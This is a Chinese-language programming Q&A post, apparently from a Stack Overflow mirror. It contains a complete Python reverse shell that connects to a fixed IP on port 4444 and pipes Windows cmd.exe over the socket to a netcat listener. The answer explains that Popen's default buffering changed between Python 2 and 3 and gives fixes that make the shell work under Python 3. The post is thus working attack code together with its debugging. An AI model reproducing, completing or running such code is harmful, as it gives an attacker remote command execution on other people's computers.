以下是我的reverse_shell python代码
import os,socket,subprocess,threading
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.88",4444))
p=subprocess.Popen(['\\windows\system32\\cmd.exe'], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
我使用netcat作为侦听器。问题是当我使用python 3.4 shell命令运行上述代码时卡住了,但没有得到输出,但是如果我使用python 2,它可以正常工作。
答案 0 :(得分:0)
在Python 2和Python 3之间更改了bufsize
至Popen
的默认参数。在Python 2中,0
表示未缓冲。在Python 3中是-1
,这意味着使用大小为io.DEFAULT_BUFFER_SIZE
的缓冲区。在Python 3中,该程序处于忙碌状态,因为该程序已将数据写入p.stdin
,但尚未刷新它-因为缓冲区尚未填满。在Windows上,io.DEFAULT_BUFFER_SIZE
是8,192,因此,您需要先将8kB的数据(来自netcat)写入套接字,然后才能看到任何输出。
您可以切换回无缓冲流,也可以在每次写入后手动刷新数据。或者,您可以设置universal_newlines
参数并使用行缓冲(bufsize=1
)。